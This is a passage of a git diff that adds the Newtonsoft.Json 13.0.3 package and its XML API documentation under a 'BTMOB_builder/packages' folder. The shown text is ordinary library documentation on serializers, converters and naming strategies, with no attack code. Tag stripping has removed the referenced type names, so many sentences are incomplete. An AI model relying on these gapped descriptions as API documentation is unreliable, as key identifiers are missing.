the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Determines which contract type is created for the given type. + + Type of the object. + A for the given type. + + + + Creates properties for the given . + + The type to create properties for. + /// The member serialization mode for the type. + Properties for the given . + + + + Creates the used by the serializer to get and set values from a member. + + The member. + The used by the serializer to get and set values from a member. + + + + Creates a for the given . + + The member's parent . + The member to create a for. + A created for the given . + + + + Resolves the name of the property. + + Name of the property. + Resolved name of the property. + + + + Resolves the name of the extension data. By default no changes are made to extension data names. + + Name of the extension data. + Resolved name of the extension data. + + + + Resolves the key of the dictionary. By default is used to resolve dictionary keys. + + Key of the dictionary. + Resolved key of the dictionary. + + + + Gets the resolved name of the property. + + Name of the property. + Name of the property. + + + + The default naming strategy. Property names and dictionary keys are unchanged. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + The default serialization binder used when resolving and loading classes from type names. + + + + + Initializes a new instance of the class. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + The type of the object the formatter creates a new instance of. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer that writes to the application's instances. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides information surrounding an error. + + + + + Gets the error. + + The error. + + + + Gets the original object that caused the error. + + The original object that caused the error. + + + + Gets the member that caused the error. + + The member that caused the error. + + + + Gets the path of the JSON location where the error occurred. + + The path of the JSON location where the error occurred. + + + + Gets or sets a value indicating whether this is handled. + + true if handled; otherwise, false. + + + + Provides data for the Error event. + + + + + Gets the current object the error event is being raised against. + + The current object the error event is being raised against. + + + + Gets the error context. + + The error context. + + + + Initializes a new instance of the class. + + The current object. + The error context. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides methods to get attributes. + + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Used by to resolve a for a given . + + + + + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used to resolve references when serializing and deserializing JSON by the . + + + + + Resolves a reference to its object. + + The serialization context. + The reference to resolve. + The object that was resolved from the reference. + + + + Gets the reference for the specified object. + + The serialization context. + The object to get a reference for. + The reference to the object. + + + + Determines whether the specified object is referenced. + + The serialization context. + The object to test for a reference. + + true if the specified object is referenced; otherwise, false. + + + + + Adds a reference to the specified object. + + The serialization context. + The reference. + The object to reference. + + + + Allows users to control class loading and mandate what class to load. + + + + + When implemented, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object + The type of the object the formatter creates a new instance of. + + + + When implemented, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + The that will be used to filter the trace messages passed to the writer. + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Provides methods to get and set values. + + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Contract details for a used by the . + + + + + Gets the of the collection items. + + The of the collection items. + + + + Gets a value indicating whether the collection type is a multidimensional array. + + true if the collection type is a multidimensional array; otherwise, false. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the collection values. + + true if the creator has a parameter with the collection values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the default collection items . + + The converter. + + + + Gets or sets a value indicating whether the collection items preserve object references. + + true if collection items preserve object references; otherwise, false. + + + + Gets or sets the collection item reference loop handling. + + The reference loop handling. + + + + Gets or sets the collection item type name handling. + + The type name handling. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Handles serialization callback events. + + The object that raised the callback event. + The streaming context. + + + + Handles serialization error callback events. + + The object that raised the callback event. + The streaming context. + The error context. + + + + Sets extension data for an object during deserialization. + + The object to set extension data on. + The extension data key. + The extension data value. + + + + Gets extension data for an object during serialization. + + The object to set extension data on. + + + + Contract details for a used by the . + + + + + Gets the underlying type for the contract. + + The underlying type for the contract. + + + + Gets or sets the type created during deserialization. + + The type created during deserialization. + + + + Gets or sets whether this type contract is serialized as a reference. + + Whether this type contract is serialized as a reference. + + + + Gets or sets the default for this contract. + + The converter. + + + + Gets the internally resolved for the contract's type. + This converter is used as a fallback converter when no other converter is resolved. + Setting will always override this converter. + + + + + Gets or sets all methods called immediately after deserialization of the object. + + The methods called immediately after deserialization of the object. + + + + Gets or sets all methods called during deserialization of the object. + + The methods called during deserialization of the object. + + + + Gets or sets all methods called after serialization of the object graph. + + The methods called after serialization of the object graph. + + + + Gets or sets all methods called before serialization of the object. + + The methods called before serialization of the object. + + + + Gets or sets all method called when an error is thrown during the serialization of the object. + + The methods called when an error is thrown during the serialization of the object. + + + + Gets or sets the default creator method used to create the object. + + The default creator method used to create the object. + + + + Gets or sets a value indicating whether the default creator is non-public. + + true if the default object creator is non-public; otherwise, false. + + + + Contract details for a used by the . + + + + + Gets or sets the dictionary key resolver. + + The dictionary key resolver. + + + + Gets the of the dictionary keys. + + The of the dictionary keys. + + + + Gets the of the dictionary values. + + The of the dictionary values. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the dictionary values. + + true if the creator has a parameter with the dictionary values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets the object's properties. + + The object's properties. + + + + Gets or sets the property name resolver. + + The property name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object constructor. + + The object constructor. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object member serialization. + + The member object serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets the object's properties. + + The object's properties. + + + + Gets a collection of instances that define the parameters used with . + + + + + Gets or sets the function used to create the object. When set this function will override . + This function is called with a collection of arguments which are defined by the collection. + + The function used to create the object. + + + + Gets or sets the extension data setter. + + + + + Gets or sets the extension data getter. + + + + + Gets or sets the extension data value type. + + + + + Gets or sets the extension data name resolver. + + The extension data name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Maps a JSON property to a .NET member or constructor parameter. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the type that declared this property. + + The type that declared this property. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets the name of the underlying member or parameter. + + The name of the underlying member or parameter. + + + + Gets the that will get and set the during serialization. + + The that will get and set the during serialization. + + + + Gets or sets the for this property. + + The for this property. + + + + Gets or sets the type of the property. + + The type of the property. + + + + Gets or sets the for the property. + If set this converter takes precedence over the contract converter for the property type. + + The converter. + + + + Gets or sets the member converter. + + The member converter. + + + + Gets or sets a value indicating whether this is ignored. + + true if ignored; otherwise, false. + + + + Gets or sets a value indicating whether this is readable. + + true if readable; otherwise, false. + + + + Gets or sets a value indicating whether this is writable. + + true if writable; otherwise, false. + + + + Gets or sets a value indicating whether this has a member attribute. + + true if has a member attribute; otherwise, false. + + + + Gets the default value. + + The default value. + + + + Gets or sets a value indicating whether this is required. + + A value indicating whether this is required. + + + + Gets a value indicating whether has a value specified. + + + + + Gets or sets a value indicating whether this property preserves object references. + + + true if this instance is reference; otherwise, false. + + + + + Gets or sets the property null value handling. + + The null value handling. + + + + Gets or sets the property default value handling. + + The default value handling. + + + + Gets or sets the property reference loop handling. + + The reference loop handling. + + + + Gets or sets the property object creation handling. + + The object creation handling. + + + + Gets or sets or sets the type name handling. + + The type name handling. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets a predicate used to determine whether the property should be deserialized. + + A predicate used to determine whether the property should be deserialized. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets an action used to set whether the property has been deserialized. + + An action used to set whether the property has been deserialized. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Gets or sets the converter used when serializing the property's collection items. + + The collection's items converter. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + A collection of objects. + + + + + Initializes a new instance of the class. + + The type. + + + + When implemented in a derived class, extracts the key from the specified element. + + The element from which to extract the key. + The key for the specified element. + + + + Adds a object. + + The property to add to the collection. + + + + Gets the closest matching object. + First attempts to get an exact case match of and then + a case insensitive match. + + Name of the property. + A matching property if found. + + + + Gets a property by property name. + + The name of the property to get. + Type property name string comparison. + A matching property if found. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Lookup and create an instance of the type described by the argument. + + The type to create. + Optional arguments to pass to an initializing constructor of the JsonConverter. + If null, the default constructor is used. + + + + A kebab case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Represents a trace writer that writes to memory. When the trace message limit is + reached then old trace messages will be removed as new messages are added. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Initializes a new instance of the class. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Returns an enumeration of the most recent trace messages. + + An enumeration of the most recent trace messages. + + + + Returns a of the most recent trace messages. + + + A of the most recent trace messages. + + + + + A base class for resolving how property names and dictionary keys are serialized. + + + + + A flag indicating whether dictionary keys should be processed. + Defaults to false. + + + + + A flag indicating whether extension data names should be processed. + Defaults to false. + + + + + A flag indicating whether explicitly specified property names, + e.g. a property name customized with a , should be processed. + Defaults to false. + + + + + Gets the serialized name for a given property name. + + The initial property name. + A flag indicating whether the property has had a name explicitly specified. + The serialized property name. + + + + Gets the serialized name for a given extension data name. + + The initial extension data name. + The serialized extension data name. + + + + Gets the serialized key for a given dictionary key. + + The initial dictionary key. + The serialized dictionary key. + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Hash code calculation + + + + + + Object equality implementation + + + + + + + Compare to another NamingStrategy + + + + + + + Represents a method that constructs an object. + + The object type to create. + + + + When applied to a method, specifies that the method is called when an error occurs serializing an object. + + + + + Provides methods to get attributes from a , , or . + + + + + Initializes a new instance of the class. + + The instance to get attributes for. This parameter should be a , , or . + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Get and set values for a using reflection. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + A snake case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Specifies how strings are escaped when writing JSON text. + + + + + Only control characters (e.g. newline) are escaped. + + + + + All non-ASCII and control characters (e.g. newline) are escaped. + + + + + HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. + + + + + Indicates the method that will be used during deserialization for locating and loading assemblies. + + + + + In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. + + + + + In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. + + + + + Specifies type name handling options for the . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Do not include the .NET type name when serializing types. + + + + + Include the .NET type name when serializing into a JSON object structure. + + + + + Include the .NET type name when serializing into a JSON array structure. + + + + + Always include the .NET type name when serializing. + + + + + Include the .NET type name when the type of the object being serialized is not the same as its declared type. + Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON + you must specify a root type object with + or . + + + + + Determines whether the collection is null or empty. + + The collection. + + true if the collection is null or empty; otherwise, false. + + + + + Adds the elements of the specified collection to the specified generic . + + The list to add to. + The collection of elements to add. + + + + Converts the value to the specified type. If the value is unable to be converted, the + value is checked whether it assignable to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert or cast the value to. + + The converted type. If conversion was unsuccessful, the initial value + is returned if assignable to the target type. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic that returns a result + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Returns a Restrictions object which includes our current restrictions merged + with a restriction limiting our type + + + + + Helper class for serializing immutable collections. + Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed + https://github.com/JamesNK/Newtonsoft.Json/issues/652 + + + + + Gets the type of the typed collection's items. + + The type. + The type of the typed collection's items. + + + + Gets the member's underlying type. + + The member. + The underlying type of the member. + + + + Determines whether the property is an indexed property. + + The property. + + true if the property is an indexed property; otherwise, false. + + + + + Gets the member's value on the object. + + The member. + The target object. + The member's value on the object. + + + + Sets the member's value on the target object. + + The member. + The target. + The value. + + + + Determines whether the specified MemberInfo can be read. + + The MemberInfo to determine whether can be read. + /// if set to true then allow the member to be gotten non-publicly. + + true if the specified MemberInfo can be read; otherwise, false. + + + + + Determines whether the specified MemberInfo can be set. + + The MemberInfo to determine whether can be set. + if set to true then allow the member to be set non-publicly. + if set to true then allow the member to be set if read-only. + + true if the specified MemberInfo can be set; otherwise, false. + + + + + Builds a string. Unlike this class lets you reuse its internal buffer. + + + + + Determines whether the string is all white space. Empty string will return false. + + The string to test whether it is all white space. + + true if the string is all white space; otherwise, false. + + + + + Specifies the state of the . + + + + + An exception has been thrown, which has left the in an invalid state. + You may call the method to put the in the Closed state. + Any other method calls result in an being thrown. + + + + + The method has been called. + + + + + An object is being written. + + + + + An array is being written. + + + + + A constructor is being written. + + + + + A property is being written. + + + + + A write method has not been called. + + + + diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.0/Newtonsoft.Json.dll b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.0/Newtonsoft.Json.dll new file mode 100644 index 0000000..a0b1ff0 Binary files /dev/null and b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.0/Newtonsoft.Json.dll differ diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.0/Newtonsoft.Json.xml b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.0/Newtonsoft.Json.xml new file mode 100644 index 0000000..319a1e9 --- /dev/null +++ b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.0/Newtonsoft.Json.xml @@ -0,0 +1,11051 @@ + + + + Newtonsoft.Json + + + + + Represents a BSON Oid (object id). + + + + + Gets or sets the value of the Oid. + + The value of the Oid. + + + + Initializes a new instance of the class. + + The Oid value. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. + + + + + Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. + + + true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. + + + + + Gets or sets a value indicating whether the root object will be read as a JSON array. + + + true if the root object will be read as a JSON array; otherwise, false. + + + + + Gets or sets the used when reading values from BSON. + + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. + + + + + Gets or sets the used when writing values to BSON. + When set to no conversion will occur. + + The used when writing values to BSON. + + + + Initializes a new instance of the class. + + The to write to. + + + + Initializes a new instance of the class. + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. + + + + + Writes the end. + + The token. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes the beginning of a JSON array. + + + + + Writes the beginning of a JSON object. + + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value that represents a BSON object id. + + The Object ID value to write. + + + + Writes a BSON regex. + + The regex pattern. + The regex options. + + + + Specifies how constructors are used when initializing objects during deserialization by the . + + + + + First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. + + + + + Json.NET will use a non-public default constructor before falling back to a parameterized constructor. + + + + + Converts a binary value to and from a base 64 string value. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Creates a custom object. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Creates an object which will then be populated by the serializer. + + Type of the object. + The created object. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Provides a base class for converting a to and from JSON. + + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a F# discriminated union type to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). + + + + + Gets or sets the date time styles used when converting a date to and from JSON. + + The date time styles used when converting a date to and from JSON. + + + + Gets or sets the date time format used when converting a date to and from JSON. + + The date time format used when converting a date to and from JSON. + + + + Gets or sets the culture used when converting a date to and from JSON. + + The culture used when converting a date to and from JSON. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from its name string value. + + + + + Gets or sets a value indicating whether the written enum text should be camel case. + The default value is false. + + true if the written enum text will be camel case; otherwise, false. + + + + Gets or sets the naming strategy used to resolve how enum text is written. + + The naming strategy used to resolve how enum text is written. + + + + Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. + The default value is true. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + true if the written enum text will be camel case; otherwise, false. + + + + Initializes a new instance of the class. + + The naming strategy used to resolve how enum text is written. + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from Unix epoch time + + + + + Gets or sets a value indicating whether the dates before Unix epoch + should converted to and from JSON. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from a string (e.g. "1.2.3.4"). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts XML to and from JSON. + + + + + Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. + + The name of the deserialized root element. + + + + Gets or sets a value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + true if the array attribute is written to the XML; otherwise, false. + + + + Gets or sets a value indicating whether to write the root JSON object. + + true if the JSON root object is omitted; otherwise, false. + + + + Gets or sets a value indicating whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + true if special characters are encoded; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The calling serializer. + The value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Checks if the is a namespace attribute. + + Attribute name to test. + The attribute name prefix if it has one, otherwise an empty string. + true if attribute name is for a namespace attribute, otherwise false. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Specifies how dates are formatted when writing JSON text. + + + + + Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". + + + + + Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". + + + + + Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. + + + + + Date formatted strings are not parsed to a date type and are read as strings. + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Specifies how to treat the time value when converting between string and . + + + + + Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. + + + + + Treat as a UTC. If the object represents a local time, it is converted to a UTC. + + + + + Treat as a local time if a is being converted to a string. + If a string is being converted to , convert to a local time if a time zone is specified. + + + + + Time zone information should be preserved when converting. + + + + + The default JSON name table implementation. + + + + + Initializes a new instance of the class. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Adds the specified string into name table. + + The string to add. + This method is not thread-safe. + The resolved string. + + + + Specifies default value handling options for the . + + + + + + + + + Include members where the member value is the same as the member's default value when serializing objects. + Included members are written to JSON. Has no effect when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + so that it is not written to JSON. + This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, + decimals and floating point numbers; and false for booleans). The default value ignored can be changed by + placing the on the property. + + + + + Members with a default value but no JSON will be set to their default value when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + and set members to their default value when deserializing. + + + + + Specifies float format handling options when writing special floating point numbers, e.g. , + and with . + + + + + Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". + + + + + Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. + Note that this will produce non-valid JSON. + + + + + Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. + + + + + Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Floating point numbers are parsed to . + + + + + Floating point numbers are parsed to . + + + + + Specifies formatting options for the . + + + + + No special formatting is applied. This is the default. + + + + + Causes child objects to be indented according to the and settings. + + + + + Provides an interface for using pooled arrays. + + The array type content. + + + + Rent an array from the pool. This array must be returned when 